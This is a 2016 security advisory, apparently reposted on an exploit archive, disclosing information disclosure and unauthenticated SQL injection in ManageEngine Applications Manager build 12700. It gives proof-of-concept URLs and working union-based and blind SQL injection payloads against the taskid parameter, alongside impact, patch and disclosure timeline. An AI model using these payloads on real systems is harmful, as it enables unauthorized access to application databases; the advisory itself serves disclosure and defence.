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ManageEngine Applications Manager Build 12700 Information Disclosure / SQL Injection

ManageEngine Applications Manager Build 12700 Information Disclosure / SQL Injection
Posted May 5, 2016
Authored by Saif El-Sherei

ManageEngine Applications Manager build 12700 suffers from information disclosure and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, info disclosure
SHA-256 | 9638bd04858f548d97b6c5c4af204f6913898488f0894e3070466dacb592dded

ManageEngine Applications Manager Build 12700 Information Disclosure / SQL Injection

Change Mirror Download
[SPSA-2016-02/ManageEngine ApplicationsManager]------------------------------

SECURITY ADVISORY: SPSA-2016-02/ManageEngine Applications Manager Build No: 12700

Affected Software: ManageEngine Applications Manager Build No: 12700
Vulnerability: Information Disclosure and Un-Authenticated SQL
injection.
CVSSv3: 9.3
Severity: Critical
Release Date: 2016-05-05

I. Background
~~~~~~~~~~~~~

ManageEngine Applications Manager is an Application Performance Monitoring across physical, virtual and cloud environments.


II. Description
~~~~~~~~~~~~~~~

For details about the fix please visit https://www.manageengine.com/products/applications_manager/release-notes.html

Information Disclosure:
~~~~~~~~~~~~~~~~~~~~~~~

Some scripts were accessible without authentication, which allowed public access to sensitive data such as licensing information and Monitored Server Details like name IP and maintenance schedule.

POC
~~~

License Information:
https://ManageEngineHost/jsp/About.jsp?context=/CAMGlobalReports.do?method=disableReports

List of Maintenance tasks:
https://ManageEngineHost/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv

Details of Maintenance tasks with details about monitored server:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=2&edit=true&readonly=false

SQL Injection:
~~~~~~~~~~~~~~

The downTimeScheduler.do script is vulnerable to a Boolean based blind, and Union based SQL injection, that allows complete unauthorized access to the back-end database, according to the level of privileges of the application database user.

Vulnerable URL:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
Vulnerable Parameter: GET parameter taskid

PoC:
~~~~

Boolean Based Blind SQL Injection PoC:

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=1 (True)

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=2 (False)

The following will include the Database Name in the Schedule Details
Description text box:

Union-Based SQL Injection PoC: Number of Columns 15, ORDER BY was
usable.

MSSQL: During our testing, the payload needed to be URL Encoded.

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28%28SELECT%20DB_NAME%28%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--

MYSQL: During our testing, the payload did not need URL Encoding.

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15%20--


III. Impact
~~~~~~~~~~~

Information Disclosure Impact:

An attacker might make use of the intelligence gathered through information leakages such as these for further attacks against the application, and its underlying infrastructure

Un-Authenticated SQL Injection Impact:

Access to sensitive information, stored in the application Database server, depending on the privileges of the application's database user.


IV. Remediation
~~~~~~~~~~~~~~~

Apply Vendor supplied patch build #12710, details are available at
https://www.manageengine.com/products/applications_manager/release-notes.html

V. Disclosure
~~~~~~~~~~~~~

Reported By: Saif El-Sherei, @saif_sherei, saif@sensepost.com

Discovery Date: 2016-02-29
Vendor Informed: 2016-03-04
Advisory Release Date: 2016-05-05
Patch Release Date: 2016-04-28
Advisory Updated: 2016-05-05


---------------------------------[SPSA-2016-02/ManageEngine ApplicationsManager]---


Regards,

Saif
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